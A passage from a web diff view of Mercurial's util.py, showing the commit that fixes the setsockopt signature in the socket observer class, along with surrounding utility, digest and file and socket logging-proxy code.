##// END OF EJS Templates
util: fix signature of setsockopt in socket observer...
Augie Fackler -
r39095:ed8160e4 default
parent child Browse files
Show More
@@ -1,3872 +1,3872 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import time
35 35 import traceback
36 36 import warnings
37 37 import zlib
38 38
39 39 from .thirdparty import (
40 40 attr,
41 41 )
42 42 from . import (
43 43 encoding,
44 44 error,
45 45 i18n,
46 46 node as nodemod,
47 47 policy,
48 48 pycompat,
49 49 urllibcompat,
50 50 )
51 51 from .utils import (
52 52 procutil,
53 53 stringutil,
54 54 )
55 55
56 56 base85 = policy.importmod(r'base85')
57 57 osutil = policy.importmod(r'osutil')
58 58 parsers = policy.importmod(r'parsers')
59 59
60 60 b85decode = base85.b85decode
61 61 b85encode = base85.b85encode
62 62
63 63 cookielib = pycompat.cookielib
64 64 httplib = pycompat.httplib
65 65 pickle = pycompat.pickle
66 66 safehasattr = pycompat.safehasattr
67 67 socketserver = pycompat.socketserver
68 68 bytesio = pycompat.bytesio
69 69 # TODO deprecate stringio name, as it is a lie on Python 3.
70 70 stringio = bytesio
71 71 xmlrpclib = pycompat.xmlrpclib
72 72
73 73 httpserver = urllibcompat.httpserver
74 74 urlerr = urllibcompat.urlerr
75 75 urlreq = urllibcompat.urlreq
76 76
77 77 # workaround for win32mbcs
78 78 _filenamebytestr = pycompat.bytestr
79 79
80 80 if pycompat.iswindows:
81 81 from . import windows as platform
82 82 else:
83 83 from . import posix as platform
84 84
85 85 _ = i18n._
86 86
87 87 bindunixsocket = platform.bindunixsocket
88 88 cachestat = platform.cachestat
89 89 checkexec = platform.checkexec
90 90 checklink = platform.checklink
91 91 copymode = platform.copymode
92 92 expandglobs = platform.expandglobs
93 93 getfsmountpoint = platform.getfsmountpoint
94 94 getfstype = platform.getfstype
95 95 groupmembers = platform.groupmembers
96 96 groupname = platform.groupname
97 97 isexec = platform.isexec
98 98 isowner = platform.isowner
99 99 listdir = osutil.listdir
100 100 localpath = platform.localpath
101 101 lookupreg = platform.lookupreg
102 102 makedir = platform.makedir
103 103 nlinks = platform.nlinks
104 104 normpath = platform.normpath
105 105 normcase = platform.normcase
106 106 normcasespec = platform.normcasespec
107 107 normcasefallback = platform.normcasefallback
108 108 openhardlinks = platform.openhardlinks
109 109 oslink = platform.oslink
110 110 parsepatchoutput = platform.parsepatchoutput
111 111 pconvert = platform.pconvert
112 112 poll = platform.poll
113 113 posixfile = platform.posixfile
114 114 rename = platform.rename
115 115 removedirs = platform.removedirs
116 116 samedevice = platform.samedevice
117 117 samefile = platform.samefile
118 118 samestat = platform.samestat
119 119 setflags = platform.setflags
120 120 split = platform.split
121 121 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 122 statisexec = platform.statisexec
123 123 statislink = platform.statislink
124 124 umask = platform.umask
125 125 unlink = platform.unlink
126 126 username = platform.username
127 127
128 128 try:
129 129 recvfds = osutil.recvfds
130 130 except AttributeError:
131 131 pass
132 132
133 133 # Python compatibility
134 134
135 135 _notset = object()
136 136
137 137 def bitsfrom(container):
138 138 bits = 0
139 139 for bit in container:
140 140 bits |= bit
141 141 return bits
142 142
143 143 # python 2.6 still have deprecation warning enabled by default. We do not want
144 144 # to display anything to standard user so detect if we are running test and
145 145 # only use python deprecation warning in this case.
146 146 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 147 if _dowarn:
148 148 # explicitly unfilter our warning for python 2.7
149 149 #
150 150 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 151 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 152 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 153 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 154 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 157 if _dowarn and pycompat.ispy3:
158 158 # silence warning emitted by passing user string to re.sub()
159 159 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 160 r'mercurial')
161 161 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 162 DeprecationWarning, r'mercurial')
163 163 # TODO: reinvent imp.is_frozen()
164 164 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 165 DeprecationWarning, r'mercurial')
166 166
167 167 def nouideprecwarn(msg, version, stacklevel=1):
168 168 """Issue an python native deprecation warning
169 169
170 170 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 171 """
172 172 if _dowarn:
173 173 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 174 " update your code.)") % version
175 175 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176 176
177 177 DIGESTS = {
178 178 'md5': hashlib.md5,
179 179 'sha1': hashlib.sha1,
180 180 'sha512': hashlib.sha512,
181 181 }
182 182 # List of digest types from strongest to weakest
183 183 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184 184
185 185 for k in DIGESTS_BY_STRENGTH:
186 186 assert k in DIGESTS
187 187
188 188 class digester(object):
189 189 """helper to compute digests.
190 190
191 191 This helper can be used to compute one or more digests given their name.
192 192
193 193 >>> d = digester([b'md5', b'sha1'])
194 194 >>> d.update(b'foo')
195 195 >>> [k for k in sorted(d)]
196 196 ['md5', 'sha1']
197 197 >>> d[b'md5']
198 198 'acbd18db4cc2f85cedef654fccc4a4d8'
199 199 >>> d[b'sha1']
200 200 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 201 >>> digester.preferred([b'md5', b'sha1'])
202 202 'sha1'
203 203 """
204 204
205 205 def __init__(self, digests, s=''):
206 206 self._hashes = {}
207 207 for k in digests:
208 208 if k not in DIGESTS:
209 209 raise error.Abort(_('unknown digest type: %s') % k)
210 210 self._hashes[k] = DIGESTS[k]()
211 211 if s:
212 212 self.update(s)
213 213
214 214 def update(self, data):
215 215 for h in self._hashes.values():
216 216 h.update(data)
217 217
218 218 def __getitem__(self, key):
219 219 if key not in DIGESTS:
220 220 raise error.Abort(_('unknown digest type: %s') % k)
221 221 return nodemod.hex(self._hashes[key].digest())
222 222
223 223 def __iter__(self):
224 224 return iter(self._hashes)
225 225
226 226 @staticmethod
227 227 def preferred(supported):
228 228 """returns the strongest digest type in both supported and DIGESTS."""
229 229
230 230 for k in DIGESTS_BY_STRENGTH:
231 231 if k in supported:
232 232 return k
233 233 return None
234 234
235 235 class digestchecker(object):
236 236 """file handle wrapper that additionally checks content against a given
237 237 size and digests.
238 238
239 239 d = digestchecker(fh, size, {'md5': '...'})
240 240
241 241 When multiple digests are given, all of them are validated.
242 242 """
243 243
244 244 def __init__(self, fh, size, digests):
245 245 self._fh = fh
246 246 self._size = size
247 247 self._got = 0
248 248 self._digests = dict(digests)
249 249 self._digester = digester(self._digests.keys())
250 250
251 251 def read(self, length=-1):
252 252 content = self._fh.read(length)
253 253 self._digester.update(content)
254 254 self._got += len(content)
255 255 return content
256 256
257 257 def validate(self):
258 258 if self._size != self._got:
259 259 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 260 (self._size, self._got))
261 261 for k, v in self._digests.items():
262 262 if v != self._digester[k]:
263 263 # i18n: first parameter is a digest name
264 264 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 265 (k, v, self._digester[k]))
266 266
267 267 try:
268 268 buffer = buffer
269 269 except NameError:
270 270 def buffer(sliceable, offset=0, length=None):
271 271 if length is not None:
272 272 return memoryview(sliceable)[offset:offset + length]
273 273 return memoryview(sliceable)[offset:]
274 274
275 275 _chunksize = 4096
276 276
277 277 class bufferedinputpipe(object):
278 278 """a manually buffered input pipe
279 279
280 280 Python will not let us use buffered IO and lazy reading with 'polling' at
281 281 the same time. We cannot probe the buffer state and select will not detect
282 282 that data are ready to read if they are already buffered.
283 283
284 284 This class let us work around that by implementing its own buffering
285 285 (allowing efficient readline) while offering a way to know if the buffer is
286 286 empty from the output (allowing collaboration of the buffer with polling).
287 287
288 288 This class lives in the 'util' module because it makes use of the 'os'
289 289 module from the python stdlib.
290 290 """
291 291 def __new__(cls, fh):
292 292 # If we receive a fileobjectproxy, we need to use a variation of this
293 293 # class that notifies observers about activity.
294 294 if isinstance(fh, fileobjectproxy):
295 295 cls = observedbufferedinputpipe
296 296
297 297 return super(bufferedinputpipe, cls).__new__(cls)
298 298
299 299 def __init__(self, input):
300 300 self._input = input
301 301 self._buffer = []
302 302 self._eof = False
303 303 self._lenbuf = 0
304 304
305 305 @property
306 306 def hasbuffer(self):
307 307 """True is any data is currently buffered
308 308
309 309 This will be used externally a pre-step for polling IO. If there is
310 310 already data then no polling should be set in place."""
311 311 return bool(self._buffer)
312 312
313 313 @property
314 314 def closed(self):
315 315 return self._input.closed
316 316
317 317 def fileno(self):
318 318 return self._input.fileno()
319 319
320 320 def close(self):
321 321 return self._input.close()
322 322
323 323 def read(self, size):
324 324 while (not self._eof) and (self._lenbuf < size):
325 325 self._fillbuffer()
326 326 return self._frombuffer(size)
327 327
328 328 def unbufferedread(self, size):
329 329 if not self._eof and self._lenbuf == 0:
330 330 self._fillbuffer(max(size, _chunksize))
331 331 return self._frombuffer(min(self._lenbuf, size))
332 332
333 333 def readline(self, *args, **kwargs):
334 334 if 1 < len(self._buffer):
335 335 # this should not happen because both read and readline end with a
336 336 # _frombuffer call that collapse it.
337 337 self._buffer = [''.join(self._buffer)]
338 338 self._lenbuf = len(self._buffer[0])
339 339 lfi = -1
340 340 if self._buffer:
341 341 lfi = self._buffer[-1].find('\n')
342 342 while (not self._eof) and lfi < 0:
343 343 self._fillbuffer()
344 344 if self._buffer:
345 345 lfi = self._buffer[-1].find('\n')
346 346 size = lfi + 1
347 347 if lfi < 0: # end of file
348 348 size = self._lenbuf
349 349 elif 1 < len(self._buffer):
350 350 # we need to take previous chunks into account
351 351 size += self._lenbuf - len(self._buffer[-1])
352 352 return self._frombuffer(size)
353 353
354 354 def _frombuffer(self, size):
355 355 """return at most 'size' data from the buffer
356 356
357 357 The data are removed from the buffer."""
358 358 if size == 0 or not self._buffer:
359 359 return ''
360 360 buf = self._buffer[0]
361 361 if 1 < len(self._buffer):
362 362 buf = ''.join(self._buffer)
363 363
364 364 data = buf[:size]
365 365 buf = buf[len(data):]
366 366 if buf:
367 367 self._buffer = [buf]
368 368 self._lenbuf = len(buf)
369 369 else:
370 370 self._buffer = []
371 371 self._lenbuf = 0
372 372 return data
373 373
374 374 def _fillbuffer(self, size=_chunksize):
375 375 """read data to the buffer"""
376 376 data = os.read(self._input.fileno(), size)
377 377 if not data:
378 378 self._eof = True
379 379 else:
380 380 self._lenbuf += len(data)
381 381 self._buffer.append(data)
382 382
383 383 return data
384 384
385 385 def mmapread(fp):
386 386 try:
387 387 fd = getattr(fp, 'fileno', lambda: fp)()
388 388 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 389 except ValueError:
390 390 # Empty files cannot be mmapped, but mmapread should still work. Check
391 391 # if the file is empty, and if so, return an empty buffer.
392 392 if os.fstat(fd).st_size == 0:
393 393 return ''
394 394 raise
395 395
396 396 class fileobjectproxy(object):
397 397 """A proxy around file objects that tells a watcher when events occur.
398 398
399 399 This type is intended to only be used for testing purposes. Think hard
400 400 before using it in important code.
401 401 """
402 402 __slots__ = (
403 403 r'_orig',
404 404 r'_observer',
405 405 )
406 406
407 407 def __init__(self, fh, observer):
408 408 object.__setattr__(self, r'_orig', fh)
409 409 object.__setattr__(self, r'_observer', observer)
410 410
411 411 def __getattribute__(self, name):
412 412 ours = {
413 413 r'_observer',
414 414
415 415 # IOBase
416 416 r'close',
417 417 # closed if a property
418 418 r'fileno',
419 419 r'flush',
420 420 r'isatty',
421 421 r'readable',
422 422 r'readline',
423 423 r'readlines',
424 424 r'seek',
425 425 r'seekable',
426 426 r'tell',
427 427 r'truncate',
428 428 r'writable',
429 429 r'writelines',
430 430 # RawIOBase
431 431 r'read',
432 432 r'readall',
433 433 r'readinto',
434 434 r'write',
435 435 # BufferedIOBase
436 436 # raw is a property
437 437 r'detach',
438 438 # read defined above
439 439 r'read1',
440 440 # readinto defined above
441 441 # write defined above
442 442 }
443 443
444 444 # We only observe some methods.
445 445 if name in ours:
446 446 return object.__getattribute__(self, name)
447 447
448 448 return getattr(object.__getattribute__(self, r'_orig'), name)
449 449
450 450 def __nonzero__(self):
451 451 return bool(object.__getattribute__(self, r'_orig'))
452 452
453 453 __bool__ = __nonzero__
454 454
455 455 def __delattr__(self, name):
456 456 return delattr(object.__getattribute__(self, r'_orig'), name)
457 457
458 458 def __setattr__(self, name, value):
459 459 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460 460
461 461 def __iter__(self):
462 462 return object.__getattribute__(self, r'_orig').__iter__()
463 463
464 464 def _observedcall(self, name, *args, **kwargs):
465 465 # Call the original object.
466 466 orig = object.__getattribute__(self, r'_orig')
467 467 res = getattr(orig, name)(*args, **kwargs)
468 468
469 469 # Call a method on the observer of the same name with arguments
470 470 # so it can react, log, etc.
471 471 observer = object.__getattribute__(self, r'_observer')
472 472 fn = getattr(observer, name, None)
473 473 if fn:
474 474 fn(res, *args, **kwargs)
475 475
476 476 return res
477 477
478 478 def close(self, *args, **kwargs):
479 479 return object.__getattribute__(self, r'_observedcall')(
480 480 r'close', *args, **kwargs)
481 481
482 482 def fileno(self, *args, **kwargs):
483 483 return object.__getattribute__(self, r'_observedcall')(
484 484 r'fileno', *args, **kwargs)
485 485
486 486 def flush(self, *args, **kwargs):
487 487 return object.__getattribute__(self, r'_observedcall')(
488 488 r'flush', *args, **kwargs)
489 489
490 490 def isatty(self, *args, **kwargs):
491 491 return object.__getattribute__(self, r'_observedcall')(
492 492 r'isatty', *args, **kwargs)
493 493
494 494 def readable(self, *args, **kwargs):
495 495 return object.__getattribute__(self, r'_observedcall')(
496 496 r'readable', *args, **kwargs)
497 497
498 498 def readline(self, *args, **kwargs):
499 499 return object.__getattribute__(self, r'_observedcall')(
500 500 r'readline', *args, **kwargs)
501 501
502 502 def readlines(self, *args, **kwargs):
503 503 return object.__getattribute__(self, r'_observedcall')(
504 504 r'readlines', *args, **kwargs)
505 505
506 506 def seek(self, *args, **kwargs):
507 507 return object.__getattribute__(self, r'_observedcall')(
508 508 r'seek', *args, **kwargs)
509 509
510 510 def seekable(self, *args, **kwargs):
511 511 return object.__getattribute__(self, r'_observedcall')(
512 512 r'seekable', *args, **kwargs)
513 513
514 514 def tell(self, *args, **kwargs):
515 515 return object.__getattribute__(self, r'_observedcall')(
516 516 r'tell', *args, **kwargs)
517 517
518 518 def truncate(self, *args, **kwargs):
519 519 return object.__getattribute__(self, r'_observedcall')(
520 520 r'truncate', *args, **kwargs)
521 521
522 522 def writable(self, *args, **kwargs):
523 523 return object.__getattribute__(self, r'_observedcall')(
524 524 r'writable', *args, **kwargs)
525 525
526 526 def writelines(self, *args, **kwargs):
527 527 return object.__getattribute__(self, r'_observedcall')(
528 528 r'writelines', *args, **kwargs)
529 529
530 530 def read(self, *args, **kwargs):
531 531 return object.__getattribute__(self, r'_observedcall')(
532 532 r'read', *args, **kwargs)
533 533
534 534 def readall(self, *args, **kwargs):
535 535 return object.__getattribute__(self, r'_observedcall')(
536 536 r'readall', *args, **kwargs)
537 537
538 538 def readinto(self, *args, **kwargs):
539 539 return object.__getattribute__(self, r'_observedcall')(
540 540 r'readinto', *args, **kwargs)
541 541
542 542 def write(self, *args, **kwargs):
543 543 return object.__getattribute__(self, r'_observedcall')(
544 544 r'write', *args, **kwargs)
545 545
546 546 def detach(self, *args, **kwargs):
547 547 return object.__getattribute__(self, r'_observedcall')(
548 548 r'detach', *args, **kwargs)
549 549
550 550 def read1(self, *args, **kwargs):
551 551 return object.__getattribute__(self, r'_observedcall')(
552 552 r'read1', *args, **kwargs)
553 553
554 554 class observedbufferedinputpipe(bufferedinputpipe):
555 555 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556 556
557 557 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 558 bypass ``fileobjectproxy``. Because of this, we need to make
559 559 ``bufferedinputpipe`` aware of these operations.
560 560
561 561 This variation of ``bufferedinputpipe`` can notify observers about
562 562 ``os.read()`` events. It also re-publishes other events, such as
563 563 ``read()`` and ``readline()``.
564 564 """
565 565 def _fillbuffer(self):
566 566 res = super(observedbufferedinputpipe, self)._fillbuffer()
567 567
568 568 fn = getattr(self._input._observer, r'osread', None)
569 569 if fn:
570 570 fn(res, _chunksize)
571 571
572 572 return res
573 573
574 574 # We use different observer methods because the operation isn't
575 575 # performed on the actual file object but on us.
576 576 def read(self, size):
577 577 res = super(observedbufferedinputpipe, self).read(size)
578 578
579 579 fn = getattr(self._input._observer, r'bufferedread', None)
580 580 if fn:
581 581 fn(res, size)
582 582
583 583 return res
584 584
585 585 def readline(self, *args, **kwargs):
586 586 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587 587
588 588 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 589 if fn:
590 590 fn(res)
591 591
592 592 return res
593 593
594 594 PROXIED_SOCKET_METHODS = {
595 595 r'makefile',
596 596 r'recv',
597 597 r'recvfrom',
598 598 r'recvfrom_into',
599 599 r'recv_into',
600 600 r'send',
601 601 r'sendall',
602 602 r'sendto',
603 603 r'setblocking',
604 604 r'settimeout',
605 605 r'gettimeout',
606 606 r'setsockopt',
607 607 }
608 608
609 609 class socketproxy(object):
610 610 """A proxy around a socket that tells a watcher when events occur.
611 611
612 612 This is like ``fileobjectproxy`` except for sockets.
613 613
614 614 This type is intended to only be used for testing purposes. Think hard
615 615 before using it in important code.
616 616 """
617 617 __slots__ = (
618 618 r'_orig',
619 619 r'_observer',
620 620 )
621 621
622 622 def __init__(self, sock, observer):
623 623 object.__setattr__(self, r'_orig', sock)
624 624 object.__setattr__(self, r'_observer', observer)
625 625
626 626 def __getattribute__(self, name):
627 627 if name in PROXIED_SOCKET_METHODS:
628 628 return object.__getattribute__(self, name)
629 629
630 630 return getattr(object.__getattribute__(self, r'_orig'), name)
631 631
632 632 def __delattr__(self, name):
633 633 return delattr(object.__getattribute__(self, r'_orig'), name)
634 634
635 635 def __setattr__(self, name, value):
636 636 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637 637
638 638 def __nonzero__(self):
639 639 return bool(object.__getattribute__(self, r'_orig'))
640 640
641 641 __bool__ = __nonzero__
642 642
643 643 def _observedcall(self, name, *args, **kwargs):
644 644 # Call the original object.
645 645 orig = object.__getattribute__(self, r'_orig')
646 646 res = getattr(orig, name)(*args, **kwargs)
647 647
648 648 # Call a method on the observer of the same name with arguments
649 649 # so it can react, log, etc.
650 650 observer = object.__getattribute__(self, r'_observer')
651 651 fn = getattr(observer, name, None)
652 652 if fn:
653 653 fn(res, *args, **kwargs)
654 654
655 655 return res
656 656
657 657 def makefile(self, *args, **kwargs):
658 658 res = object.__getattribute__(self, r'_observedcall')(
659 659 r'makefile', *args, **kwargs)
660 660
661 661 # The file object may be used for I/O. So we turn it into a
662 662 # proxy using our observer.
663 663 observer = object.__getattribute__(self, r'_observer')
664 664 return makeloggingfileobject(observer.fh, res, observer.name,
665 665 reads=observer.reads,
666 666 writes=observer.writes,
667 667 logdata=observer.logdata,
668 668 logdataapis=observer.logdataapis)
669 669
670 670 def recv(self, *args, **kwargs):
671 671 return object.__getattribute__(self, r'_observedcall')(
672 672 r'recv', *args, **kwargs)
673 673
674 674 def recvfrom(self, *args, **kwargs):
675 675 return object.__getattribute__(self, r'_observedcall')(
676 676 r'recvfrom', *args, **kwargs)
677 677
678 678 def recvfrom_into(self, *args, **kwargs):
679 679 return object.__getattribute__(self, r'_observedcall')(
680 680 r'recvfrom_into', *args, **kwargs)
681 681
682 682 def recv_into(self, *args, **kwargs):
683 683 return object.__getattribute__(self, r'_observedcall')(
684 684 r'recv_info', *args, **kwargs)
685 685
686 686 def send(self, *args, **kwargs):
687 687 return object.__getattribute__(self, r'_observedcall')(
688 688 r'send', *args, **kwargs)
689 689
690 690 def sendall(self, *args, **kwargs):
691 691 return object.__getattribute__(self, r'_observedcall')(
692 692 r'sendall', *args, **kwargs)
693 693
694 694 def sendto(self, *args, **kwargs):
695 695 return object.__getattribute__(self, r'_observedcall')(
696 696 r'sendto', *args, **kwargs)
697 697
698 698 def setblocking(self, *args, **kwargs):
699 699 return object.__getattribute__(self, r'_observedcall')(
700 700 r'setblocking', *args, **kwargs)
701 701
702 702 def settimeout(self, *args, **kwargs):
703 703 return object.__getattribute__(self, r'_observedcall')(
704 704 r'settimeout', *args, **kwargs)
705 705
706 706 def gettimeout(self, *args, **kwargs):
707 707 return object.__getattribute__(self, r'_observedcall')(
708 708 r'gettimeout', *args, **kwargs)
709 709
710 710 def setsockopt(self, *args, **kwargs):
711 711 return object.__getattribute__(self, r'_observedcall')(
712 712 r'setsockopt', *args, **kwargs)
713 713
714 714 class baseproxyobserver(object):
715 715 def _writedata(self, data):
716 716 if not self.logdata:
717 717 if self.logdataapis:
718 718 self.fh.write('\n')
719 719 self.fh.flush()
720 720 return
721 721
722 722 # Simple case writes all data on a single line.
723 723 if b'\n' not in data:
724 724 if self.logdataapis:
725 725 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 726 else:
727 727 self.fh.write('%s> %s\n'
728 728 % (self.name, stringutil.escapestr(data)))
729 729 self.fh.flush()
730 730 return
731 731
732 732 # Data with newlines is written to multiple lines.
733 733 if self.logdataapis:
734 734 self.fh.write(':\n')
735 735
736 736 lines = data.splitlines(True)
737 737 for line in lines:
738 738 self.fh.write('%s> %s\n'
739 739 % (self.name, stringutil.escapestr(line)))
740 740 self.fh.flush()
741 741
742 742 class fileobjectobserver(baseproxyobserver):
743 743 """Logs file object activity."""
744 744 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 745 logdataapis=True):
746 746 self.fh = fh
747 747 self.name = name
748 748 self.logdata = logdata
749 749 self.logdataapis = logdataapis
750 750 self.reads = reads
751 751 self.writes = writes
752 752
753 753 def read(self, res, size=-1):
754 754 if not self.reads:
755 755 return
756 756 # Python 3 can return None from reads at EOF instead of empty strings.
757 757 if res is None:
758 758 res = ''
759 759
760 760 if size == -1 and res == '':
761 761 # Suppress pointless read(-1) calls that return
762 762 # nothing. These happen _a lot_ on Python 3, and there
763 763 # doesn't seem to be a better workaround to have matching
764 764 # Python 2 and 3 behavior. :(
765 765 return
766 766
767 767 if self.logdataapis:
768 768 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769 769
770 770 self._writedata(res)
771 771
772 772 def readline(self, res, limit=-1):
773 773 if not self.reads:
774 774 return
775 775
776 776 if self.logdataapis:
777 777 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778 778
779 779 self._writedata(res)
780 780
781 781 def readinto(self, res, dest):
782 782 if not self.reads:
783 783 return
784 784
785 785 if self.logdataapis:
786 786 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 787 res))
788 788
789 789 data = dest[0:res] if res is not None else b''
790 790 self._writedata(data)
791 791
792 792 def write(self, res, data):
793 793 if not self.writes:
794 794 return
795 795
796 796 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 797 # returns the integer bytes written.
798 798 if res is None and data:
799 799 res = len(data)
800 800
801 801 if self.logdataapis:
802 802 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803 803
804 804 self._writedata(data)
805 805
806 806 def flush(self, res):
807 807 if not self.writes:
808 808 return
809 809
810 810 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811 811
812 812 # For observedbufferedinputpipe.
813 813 def bufferedread(self, res, size):
814 814 if not self.reads:
815 815 return
816 816
817 817 if self.logdataapis:
818 818 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 819 self.name, size, len(res)))
820 820
821 821 self._writedata(res)
822 822
823 823 def bufferedreadline(self, res):
824 824 if not self.reads:
825 825 return
826 826
827 827 if self.logdataapis:
828 828 self.fh.write('%s> bufferedreadline() -> %d' % (
829 829 self.name, len(res)))
830 830
831 831 self._writedata(res)
832 832
833 833 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 834 logdata=False, logdataapis=True):
835 835 """Turn a file object into a logging file object."""
836 836
837 837 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 838 logdata=logdata, logdataapis=logdataapis)
839 839 return fileobjectproxy(fh, observer)
840 840
841 841 class socketobserver(baseproxyobserver):
842 842 """Logs socket activity."""
843 843 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 844 logdata=False, logdataapis=True):
845 845 self.fh = fh
846 846 self.name = name
847 847 self.reads = reads
848 848 self.writes = writes
849 849 self.states = states
850 850 self.logdata = logdata
851 851 self.logdataapis = logdataapis
852 852
853 853 def makefile(self, res, mode=None, bufsize=None):
854 854 if not self.states:
855 855 return
856 856
857 857 self.fh.write('%s> makefile(%r, %r)\n' % (
858 858 self.name, mode, bufsize))
859 859
860 860 def recv(self, res, size, flags=0):
861 861 if not self.reads:
862 862 return
863 863
864 864 if self.logdataapis:
865 865 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 866 self.name, size, flags, len(res)))
867 867 self._writedata(res)
868 868
869 869 def recvfrom(self, res, size, flags=0):
870 870 if not self.reads:
871 871 return
872 872
873 873 if self.logdataapis:
874 874 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 875 self.name, size, flags, len(res[0])))
876 876
877 877 self._writedata(res[0])
878 878
879 879 def recvfrom_into(self, res, buf, size, flags=0):
880 880 if not self.reads:
881 881 return
882 882
883 883 if self.logdataapis:
884 884 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 885 self.name, size, flags, res[0]))
886 886
887 887 self._writedata(buf[0:res[0]])
888 888
889 889 def recv_into(self, res, buf, size=0, flags=0):
890 890 if not self.reads:
891 891 return
892 892
893 893 if self.logdataapis:
894 894 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 895 self.name, size, flags, res))
896 896
897 897 self._writedata(buf[0:res])
898 898
899 899 def send(self, res, data, flags=0):
900 900 if not self.writes:
901 901 return
902 902
903 903 self.fh.write('%s> send(%d, %d) -> %d' % (
904 904 self.name, len(data), flags, len(res)))
905 905 self._writedata(data)
906 906
907 907 def sendall(self, res, data, flags=0):
908 908 if not self.writes:
909 909 return
910 910
911 911 if self.logdataapis:
912 912 # Returns None on success. So don't bother reporting return value.
913 913 self.fh.write('%s> sendall(%d, %d)' % (
914 914 self.name, len(data), flags))
915 915
916 916 self._writedata(data)
917 917
918 918 def sendto(self, res, data, flagsoraddress, address=None):
919 919 if not self.writes:
920 920 return
921 921
922 922 if address:
923 923 flags = flagsoraddress
924 924 else:
925 925 flags = 0
926 926
927 927 if self.logdataapis:
928 928 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 929 self.name, len(data), flags, address, res))
930 930
931 931 self._writedata(data)
932 932
933 933 def setblocking(self, res, flag):
934 934 if not self.states:
935 935 return
936 936
937 937 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938 938
939 939 def settimeout(self, res, value):
940 940 if not self.states:
941 941 return
942 942
943 943 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944 944
945 945 def gettimeout(self, res):
946 946 if not self.states:
947 947 return
948 948
949 949 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950 950
951 def setsockopt(self, level, optname, value):
951 def setsockopt(self, res, level, optname, value):
952 952 if not self.states:
953 953 return
954 954
955 955 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 self.name, level, optname, value))
956 self.name, level, optname, value, res))
957 957
958 958 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 959 logdata=False, logdataapis=True):
960 960 """Turn a socket into a logging socket."""
961 961
962 962 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 963 states=states, logdata=logdata,
964 964 logdataapis=logdataapis)
965 965 return socketproxy(fh, observer)
966 966
967 967 def version():
968 968 """Return version information if available."""
969 969 try:
970 970 from . import __version__
971 971 return __version__.version
972 972 except ImportError:
973 973 return 'unknown'
974 974
975 975 def versiontuple(v=None, n=4):
976 976 """Parses a Mercurial version string into an N-tuple.
977 977
978 978 The version string to be parsed is specified with the ``v`` argument.
979 979 If it isn't defined, the current Mercurial version string will be parsed.
980 980
981 981 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 982 returned values:
983 983
984 984 >>> v = b'3.6.1+190-df9b73d2d444'
985 985 >>> versiontuple(v, 2)
986 986 (3, 6)
987 987 >>> versiontuple(v, 3)
988 988 (3, 6, 1)
989 989 >>> versiontuple(v, 4)
990 990 (3, 6, 1, '190-df9b73d2d444')
991 991
992 992 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 993 (3, 6, 1, '190-df9b73d2d444+20151118')
994 994
995 995 >>> v = b'3.6'
